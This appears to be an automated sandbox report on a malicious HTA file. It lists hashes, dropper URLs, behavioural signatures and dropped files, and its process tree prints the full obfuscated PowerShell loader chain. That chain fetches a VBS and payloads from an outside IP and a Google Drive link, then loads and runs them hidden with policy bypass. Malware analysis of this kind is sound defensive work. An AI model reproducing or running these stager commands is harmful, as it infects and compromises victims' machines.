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Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    08/11/2024, 03:53

General

  • Target

    d1a5e6708ae70fff83f394f2fc5027d14e42fdb624c369662ebcd682cded0ac6.hta

  • Size

    207KB

  • MD5

    21bf484c8fe4564e1f0e0fc0aa522199

  • SHA1

    0bda2d5048d1555ef9ef50f4fd192c0838677c94

  • SHA256

    d1a5e6708ae70fff83f394f2fc5027d14e42fdb624c369662ebcd682cded0ac6

  • SHA512

    1dbf4a2f78b482b6d80eb48c9c2434a8907081a468c820ad9085fcede6134fe41c8c27a3e8f2ad7fa3f1d702e2b0904d885bfda8300ced9c4924c6e869e9baea

  • SSDEEP

    96:43F97gSlqxRtwJPcEI/MOoMQbvfhKGAfQ:43F1OxvmUxevfU3Q

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

exe.dropper

https://drive.google.com/uc?export=download&id=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Evasion via Device Credential Deployment 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 8 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\d1a5e6708ae70fff83f394f2fc5027d14e42fdb624c369662ebcd682cded0ac6.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2512
    • C:\Windows\SysWOW64\winDOwSPOWERsHeLl\v1.0\poWERSHElL.EXe
      "C:\Windows\SySTEM32\winDOwSPOWERsHeLl\v1.0\poWERSHElL.EXe" "poWErSheLl.EXe -Ex ByPAsS -noP -W 1 -c DEviCECReDEntiaLdeployMeNT ; iEx($(IEX('[SYStEm.tExT.eNCoDiNG]'+[CHAR]58+[chAR]58+'UTf8.GEtSTRinG([SYSTem.convERT]'+[char]58+[char]0x3a+'FRoMbaSe64string('+[chAr]34+'JEY2ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFERC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1FTWJFUkRFZkluSXRJb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgSmtnLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVudktEYVVrdUgsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWG9XdEQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHRpaVh2ZEYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2cpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTmFtRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJNWWNsQ2xJSEdibiIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRVNQQWNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbk51UElVamZUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRGNjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNy4xNzMuNC4yMy83OS9zZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0bWFnaWNhbHRoaW5nc3dpdGhoZXJsb3Zlci50SUYiLCIkRW5WOkFQUERBVEFcc2VldGhlYmVzdHRoaW5nc3dpdGhncmVhdG1hZ2ljYWx0aGluZ3N3aXRoaGUudmJzIiwwLDApO3NUYXJULXNMRWVQKDMpO1NUYVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRlTnY6QVBQREFUQVxzZWV0aGViZXN0dGhpbmdzd2l0aGdyZWF0bWFnaWNhbHRoaW5nc3dpdGhoZS52YnMi'+[ChAR]0x22+'))')))"
      2⤵
      • Blocklisted process makes network request
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2356
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Ex ByPAsS -noP -W 1 -c DEviCECReDEntiaLdeployMeNT
        3⤵
        • Evasion via Device Credential Deployment
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2700
      • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\nr0gkvji.cmdline"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD4DD.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCD4DC.tmp"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2772
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\seethebestthingswithgreatmagicalthingswithhe.vbs"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2444
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCcxamdpbScrJ2FnZVVybCA9IDViSmh0dHBzOi8nKycvZHJpdmUuZ29vZ2xlLmMnKydvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQnKyc9MVV5SHF3cm5YQ2xLQkozajYzTGwxdDJTdFZnR3hiU3QwIDViSjsxamd3ZWJDbGllbnQgPSBOZScrJ3ctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50OzFqJysnZ2ltYWdlQnl0ZXMgPSAxamd3ZWJDbGllbnQuRG93bmxvYWREYXRhKDFqZ2ltYWdlVXJsKTsxamdpbWFnZVRleHQgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOicrJzpVVEY4LkdldFN0cmluZygxamdpbWFnZUJ5JysndGVzKTsxamdzdGFydEZsYWcgPSAnKyc1Yko8PEJBU0U2NF9TVEFSVD4+NWJKOzFqZ2VuZEZsYWcgPSA1Yko8PCcrJ0JBU0U2NF9FTkQ+PjViSjsxamdzdGFydEluZGV4ID0nKycgMWpnaW1hZ2VUZXh0LicrJ0knKyduZGV4T2YoMWpnc3RhcnRGbGFnKTsxamdlbmRJbmRleCA9IDFqZ2knKydtYWdlVGV4dC5JbmRleE8nKydmKDFqZ2VuZEZsYWcpOzFqZ3N0YXJ0SW5kZXggLWdlICcrJzAgLWFuZCAxamdlbmRJbmRleCAtZ3QgMWpnc3RhcnRJbmRleDsxamdzdGFydEluZGV4ICs9IDFqZ3N0YXJ0RmxhZy5MZW5ndGg7MWpnYmFzZTY0JysnTGVuZ3RoID0gMWpnZW5kSW5kZXggLSAxamdzdGFydEluZGV4OzFqZ2JhJysnc2U2NENvbW1hbmQgPSAxamdpbWFnZVRleHQuU3Vic3RyaW5nJysnKDFqZ3N0YXJ0SW5kZXgsIDFqZ2Jhc2U2NExlbmd0aCk7MWpnYmFzZTY0UmV2ZScrJ3JzZWQgPSAtam9pbiAoMWpnYmFzZTY0Q29tbWEnKyduZC5Ub0NoYXJBcnJheSgpIDE1biBGb3JFYWNoLU9iamVjdCB7IDFqZ18gfSlbLTEuLi0oMWpnYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTsxamdjb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTYnKyc0U3RyaW5nKDFqZ2Jhc2U2NFJldmVyc2VkKTsxamdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06JysnOkxvYWQoMWpnY29tbWFuZEJ5dGVzKTsxamd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKDViSlZBSTViSik7MWpndmFpTWV0aG8nKydkLkludm9rZSgxamdudWxsLCBAKDViSnR4dC5GQ0RSVy85Ny8zMi40LjM3MS43MDEvLzpwdHRoNWJKLCA1YkpkZXNhdGl2YWRvNWJKLCA1YkpkZXNhdGl2YWRvNWJKLCA1YicrJ0pkZXNhdGl2YWRvNWJKLCA1Ykphc3BuZXRfY29tcGlsZXI1YkosIDViSmRlc2F0aXZhZG81YkosIDViSmRlc2F0aXZhZG81YkosNWJKZGVzYXRpdmFkbzViSiw1YkpkZXNhdGl2YWRvNWJKLDViSmRlc2F0aXZhZG81YkosNWJKZGVzYXRpdmFkbzViSiw1YkpkZXNhdGl2YWRvNWJKLDViSjE1YkosNWJKZGVzYXRpdmFkbzViSikpOycpLlJlcGxhY0UoJzViSicsW1NUcklOZ11bQ2hhUl0zOSkuUmVwbGFjRSgoW0NoYVJdNDkrW0NoYVJdNTMrW0NoYVJdMTEwKSxbU1RySU5nXVtDaGFSXTEyNCkuUmVwbGFjRSgoW0NoYVJdNDkrW0NoYVJdMTA2K1tDaGFSXTEwMyksJyQnKXwgJiAoKGd2ICcqbWRyKicpLm5hTWVbMywxMSwyXS1KT0lOJycp';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2372
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('1jgim'+'ageUrl = 5bJhttps:/'+'/drive.google.c'+'om/uc?export=download&id'+'=1UyHqwrnXClKBJ3j63Ll1t2StVgGxbSt0 5bJ;1jgwebClient = Ne'+'w-Object System.Net.WebClient;1j'+'gimageBytes = 1jgwebClient.DownloadData(1jgimageUrl);1jgimageText = [System.Text.Encoding]:'+':UTF8.GetString(1jgimageBy'+'tes);1jgstartFlag = '+'5bJ<<BASE64_START>>5bJ;1jgendFlag = 5bJ<<'+'BASE64_END>>5bJ;1jgstartIndex ='+' 1jgimageText.'+'I'+'ndexOf(1jgstartFlag);1jgendIndex = 1jgi'+'mageText.IndexO'+'f(1jgendFlag);1jgstartIndex -ge '+'0 -and 1jgendIndex -gt 1jgstartIndex;1jgstartIndex += 1jgstartFlag.Length;1jgbase64'+'Length = 1jgendIndex - 1jgstartIndex;1jgba'+'se64Command = 1jgimageText.Substring'+'(1jgstartIndex, 1jgbase64Length);1jgbase64Reve'+'rsed = -join (1jgbase64Comma'+'nd.ToCharArray() 15n ForEach-Object { 1jg_ })[-1..-(1jgbase64Command.Length)];1jgcommandBytes = [System.Convert]::FromBase6'+'4String(1jgbase64Reversed);1jgloadedAssembly = [System.Reflection.Assembly]:'+':Load(1jgcommandBytes);1jgvaiMethod = [dnlib.IO.Home].GetMethod(5bJVAI5bJ);1jgvaiMetho'+'d.Invoke(1jgnull, @(5bJtxt.FCDRW/97/32.4.371.701//:ptth5bJ, 5bJdesativado5bJ, 5bJdesativado5bJ, 5b'+'Jdesativado5bJ, 5bJaspnet_compiler5bJ, 5bJdesativado5bJ, 5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJdesativado5bJ,5bJ15bJ,5bJdesativado5bJ));').ReplacE('5bJ',[STrINg][ChaR]39).ReplacE(([ChaR]49+[ChaR]53+[ChaR]110),[STrINg][ChaR]124).ReplacE(([ChaR]49+[ChaR]106+[ChaR]103),'$')| & ((gv '*mdr*').naMe[3,11,2]-JOIN'')"
            5⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1888

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\RESD4DD.tmp

    Filesize

    1KB

    MD5

    2c01a5cd4a8110d4be5e239b2a261f2d

    SHA1

    8cc4c68db07b594721a360a5d83f5c1f82a59256

    SHA256

    2dd099d92e4812c48ca9f87ad0b53ad5e984250d00663058537c05c530b24827

    SHA512

    080db2c8d551b54b9189b0331a41f125b91021fe798cc2b1668f1605aaa20b8d08a78dd76c215b36d2ecaa2d72be0fd4c6b7d526d366a4aa5767564694073542

  • C:\Users\Admin\AppData\Local\Temp\nr0gkvji.dll

    Filesize

    3KB

    MD5

    3d41d3f029f5162577e2b0bbec529bca

    SHA1

    768a6fdb325fa05341b037bc9765ee609db5621b

    SHA256

    61e6a0b46a5ce3c036e40ce195806314343feb21f1ea9718f09ecc49e0b98541

    SHA512

    d5bb8fc21b358b149a6ce5733836ae8b78f481bb401a4341daf956c82423f2884cf981505b622b4aac6ac20a4137ccf022fef3f2062d7889df5e71dc9e858990

  • C:\Users\Admin\AppData\Local\Temp\nr0gkvji.pdb

    Filesize

    7KB

    MD5

    20d688990470671c0b274601436c213a

    SHA1

    70c970f976fb4e4b6fea8d6319b68af7c7ba2851

    SHA256

    56602b30a5a6f8abbfea02016fe4485dc902f63a77255fde7217c4be95fda022

    SHA512

    2a381ff16ef0d32d3ad53db785498bf062313ccbe256b44c5eb14a507b73062727cc7f429a92b83972794e902bd95b1f3e749af535c82f36c88b9dfdcf89fb12

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

    Filesize

    7KB

    MD5

    9457c08acad265d9c7260bdb6f25d63a

    SHA1

    4726a45b9d2b0b283dd3a919f48fdf339ed8c466

    SHA256

    accf14b84b55462c844206e63a10ce05e26c23c8202b604730fdc82486d4cc56

    SHA512

    162d2c2dd88af796f0e246081d1d960c9a01875a3f1e5955ffbebc6fee3d676b56a01abb5bf9cdbf4dc0fa680e81c41131e0af1e0c08f2abd5a38fb6defde857

  • C:\Users\Admin\AppData\Roaming\seethebestthingswithgreatmagicalthingswithhe.vbs

    Filesize

    138KB

    MD5

    3a172f4d749a3cf2a42e0b7df638c8d3

    SHA1

    071d3b7db5a649ec3252af5b5a21ed047e71c785

    SHA256

    fe03066a9d3659d5f1e5941c7a73646780d55d15a57a9dde5901f469db2ead72

    SHA512

    30cc1c96d8cae17800f33f63d7ef8965536051ee7ec683b45e5c62079bf9487785ccc9b8ae8ab073f25f9059f1bbf84f73f8c8ff68c807c0e7007d597dced0d7

  • \??\c:\Users\Admin\AppData\Local\Temp\CSCD4DC.tmp

    Filesize

    652B

    MD5

    4405fdca3ce22f33ea285effed326561

    SHA1

    c5419904fc03028e90a2758fc04c02ff51cdba54

    SHA256

    28d4ac01a62f5af021a4c93229a56175ed2e79035af4e64f7b4e294668dfc2ae

    SHA512

    84fde9c00d00d8a032f309225302dc5a5c92f2dfe48366b154d21bbf364ca9b56a844b88fbc391193cf9507b2d59e1a71d86a00345cb5ba4c8d60d68fa4f2aed

  • \??\c:\Users\Admin\AppData\Local\Temp\nr0gkvji.0.cs

    Filesize

    480B

    MD5

    02801ca1be5cf5616a9f398c85c263db

    SHA1

    e9000f0b5cd0dceb296fb59f9ed2c85717666377

    SHA256

    6d63144887d63ca3c8794b18c2e2283a7f5e6fdc5355fb24c0c3e7d11a172586

    SHA512

    4a27658c15203dd2122759a70db7f2917eb7a8899f9590f80a01b95d55a0631d0fce21d1ca6c9ec4111aabb7d9bdb9396f6483e42bb10850e9a9305d21616902

  • \??\c:\Users\Admin\AppData\Local\Temp\nr0gkvji.cmdline

    Filesize

    309B

    MD5

    f7154463a6cc4c27e94862422a395a4c

    SHA1

    efe86981bf1472b97713486852716c6b4393a4fc

    SHA256

    d3149afdc77b4ea39901e0133ca0f9655a0a346837ad2e07b44ff6efcbfb3566

    SHA512

    cd65487bd23d198ac99d768b560f74ad0d5312842307dd0f568865b9c5c1908222507a77e957457c51e85b834907784ac1745c8740b2fa0a2b091cdd6931ac58